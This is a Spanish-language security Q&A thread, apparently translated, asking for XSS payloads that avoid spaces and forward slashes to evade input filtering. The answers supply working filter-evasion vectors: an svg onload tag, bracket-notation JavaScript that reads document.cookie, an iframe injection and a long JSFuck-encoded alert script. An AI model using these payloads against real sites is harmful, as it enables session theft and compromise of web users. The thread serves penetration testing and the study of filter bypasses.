¿Qué es un buen vector XSS sin barras y espacios hacia adelante?

11

Necesito un vector XSS que no use barras diagonales ni espacios. He revisado listas de cientos de vectores, pero generalmente tienen uno de esos dos. El espacio obtiene la URL codificada, y cualquier cosa después de que se elimine una barra.

He intentado cosas como <script\src=*> , pero necesitarías una barra diagonal para que funcione a mi entender.

    
pregunta Michael Blake 27.12.2013 - 01:31
fuente

3 respuestas

25

Sin espacio ... Sin barra diagonal:

<svg•onload=alert(1)>

Vea cómo se ejecuta aquí: enlace

    
respondido por el user36484 30.12.2013 - 21:53
fuente
8

Es difícil idear un vector sin tener la vulnerabilidad real frente a mí, pero en el pasado, cuando enfrenté tales problemas, seguí la forma no alfanumérica de explotarlo. Este blog tiene una excelente descripción de cómo se hace. También se encuentran algunos vectores en este pastie .

Voy a asumir que tienes una forma de ejecutar scripts, pero solo necesitas la carga útil correcta para ejecutar. Desde el blog mencionado anteriormente:

  

Dado que JavaScript tiene dos formas sintácticas diferentes para acceder a las propiedades, puede acceder a un método de Objeto como un diccionario:

     

object.method(arguments) === object["method"](arguments)

Entonces, siguiendo este método, su carga útil podría ser algo así como:

this["alert"]("xss")

Si desea extraer la cookie, también puede utilizar

this["alert"](this["document"]["cookie"])

Es de esperar que el uso de cualquiera de estos métodos le permita obtener la ejecución del código que está buscando. Estos no tienen espacios ni barras diagonales: pensaba que todavía tendría que estar dentro de algún tipo de atributo, o debería tener la capacidad de incluirlo en las etiquetas <script> . En algunos navegadores, podrías probar algo como <script>{your vector}<script> , y podría funcionar (recuerdo que funcionó para mí en IE hace un tiempo)

EDITAR: Si esto es solo una prueba de concepto para una vulnerabilidad de validación de entrada, también podría incrustar un iFrame. Nuevamente, dependiendo del navegador, los iFrames no necesitan cerrar etiquetas. así que <iframe\src='www.google.com'> podría hacer el trabajo.

    
respondido por el Karthik Rangarajan 27.12.2013 - 02:02
fuente
4

Sé que llego un poco tarde a la fiesta, pero hay otro vector efectivo. Codificación de la carga útil. Aquí hay una carga útil de muestra que activa una alerta:

<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script>

El jsfiddle es aquí . Sin espacios, sin nada. La carga útil se compone de seis caracteres, ![]+() . No hay espacios involucrados.

Puede codificar la carga útil utilizando esta herramienta .

    
respondido por el Arin 24.12.2016 - 09:11
fuente

Lea otras preguntas en las etiquetas